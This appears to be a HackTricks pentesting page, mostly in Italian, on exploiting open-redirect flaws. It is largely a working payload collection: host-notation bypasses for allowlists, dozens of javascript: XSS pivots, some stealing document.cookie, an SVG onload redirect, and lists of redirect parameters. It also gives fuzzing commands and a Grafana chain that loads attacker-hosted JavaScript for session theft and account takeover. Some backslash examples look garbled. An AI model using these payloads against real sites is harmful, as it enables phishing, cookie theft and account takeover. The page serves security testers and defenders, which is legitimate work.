Open Redirect

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Open redirect

Redirect to localhost or arbitrary domains

  • Se l’app mostra “allows only internal/whitelisted hosts”, prova notazioni alternative dell’host per raggiungere loopback o range interni tramite il target del redirect:
  • IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
  • IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
  • Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1.
  • Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. Questi sono utili quando sono permessi solo “subdomains of X” ma la risoluzione dell’host punta comunque a 127.0.0.1.
  • I riferimenti in stile network-path spesso bypassano validatori ingenui che antepongono uno scheme o verificano solo i prefissi:
  • //attacker.tld → interpretato come scheme-relative e naviga off-site usando lo stesso scheme.
  • Userinfo tricks aggirano i controlli contains/startswith contro host trusted:
  • https://trusted.tld@attacker.tld/ → il browser naviga su attacker.tld ma semplici controlli stringa “vedono” trusted.tld.
  • Confusione nella parsing di backslash fra framework/browser:
  • https://trusted.tld@attacker.tld → alcuni backend trattano “\” come carattere di path e superano la validazione; i browser normalizzano in “/” e interpretano trusted.tld come userinfo, inviando gli utenti a attacker.tld. Questo appare anche in Node/PHP URL-parser mismatches.

URL Format Bypass

Modern open-redirect to XSS pivots

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
Payloads di bypass basati su URL più moderni ```text # Scheme-relative (current scheme is reused) //evil.example

Credentials (userinfo) trick

https://trusted.example@evil.example/

Backslash confusion (server validates, browser normalizes)

https://trusted.example@evil.example/

Schemeless with whitespace/control chars

evil.example%00 %09//evil.example

Prefix/suffix matching flaws

https://trusted.example.evil.example/ https://evil.example/trusted.example

When only path is accepted, try breaking absolute URL detection

/\evil.example /..//evil.example

</details>

## Open Redirect caricamento di file svg
```html
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

Parametri comuni di injection

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

Esempi di codice

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

Java

response.redirect("http://mysafedomain.com");

PHP

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

Hunting and exploitation workflow (pratico)

  • Verifica di un singolo URL con curl:
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
  • Scopri e fuzz parametri probabili su larga scala:
Clicca per espandere ```bash # 1) Gather historical URLs, keep those with common redirect params cat domains.txt \ | gau --o urls.txt # or: waybackurls / katana / hakrawler

2) Grep common parameters and normalize list

rg -NI “(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)” urls.txt
| sed ‘s/\r$//’ | sort -u > candidates.txt

3) Use OpenRedireX to fuzz with payload corpus

cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt

4) Manually verify interesting hits

awk ‘/30[1237]|Location:/I’ results.txt

</details>

- Non dimenticare i client-side sinks nelle SPAs: cerca window.location/assign/replace e gli helper dei framework che leggono query/hash e effettuano redirect.

- I framework spesso introducono footguns quando le destinazioni di redirect sono derivate da input non attendibili (query params, Referer, cookies). Vedi le note di Next.js sui redirects ed evita destinazioni dinamiche derivate dall'input dell'utente.

<a class="content_ref" href="../network-services-pentesting/pentesting-web/nextjs.md"><span class="content_ref_label">NextJS</span></a>

- OAuth/OIDC flows: abusare di open redirectors frequentemente scala fino a account takeover tramite leaking di authorization codes/tokens. Vedi la guida dedicata:

<a class="content_ref" href="./oauth-to-account-takeover.md"><span class="content_ref_label">OAuth to Account takeover</span></a>

- Le risposte del server che implementano redirect senza Location (meta refresh/JavaScript) sono comunque sfruttabili per phishing e a volte possono essere concatenati. Grep per:
```html
<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>

Fragment smuggling + client-side traversal chain (Grafana-style bypass)

  • Server-side gap (Go url.Parse + raw redirect): i validator che ispezionano solo URL.Path e ignorano URL.Fragment possono essere ingannati posizionando l’host esterno dopo #. Se l’handler poi costruisce Location dalla stringa non sanificata, i fragments leak back into the redirect target. Esempio contro /user/auth-tokens/rotate:
  • Request: GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1
  • Parsing sees Path=/ and Fragment=/..//\//attacker.com, so regex + path.Clean() approve /, but the response emits Location: /\//attacker.com, acting as an open redirect.
  • Client-side gap (validate decoded/cleaned, return original): SPA helpers that fully decode a path (including double-encoded ?), strip the query for validation, but then return the original string let encoded ../ survive. La decodifica del browser in seguito la trasforma in una traversal verso qualsiasi same-origin endpoint (es., the redirect gadget). Payload pattern:
  • /dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate
  • The validator checks /dashboard/script/ (no ..), returns the encoded string, and the browser walks to /user/auth-tokens/rotate.
  • End-to-end XSS/ATO: chain the traversal with the fragment-smuggled redirect to coerce the dashboard script loader into fetching attacker JS:
https://<grafana>/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js
  • La path traversal raggiunge l’endpoint rotate, che emette un 302 verso attacker.com/module.js dal redirectTo inserito nel frammento. Assicurati che l’origine dell’attaccante serva JS con CORS permissivo in modo che il browser lo esegua, causando il furto della sessione/compromissione dell’account.

Strumenti

# Install
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh

# Fuzz a list of candidate URLs (use FUZZ as placeholder)
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks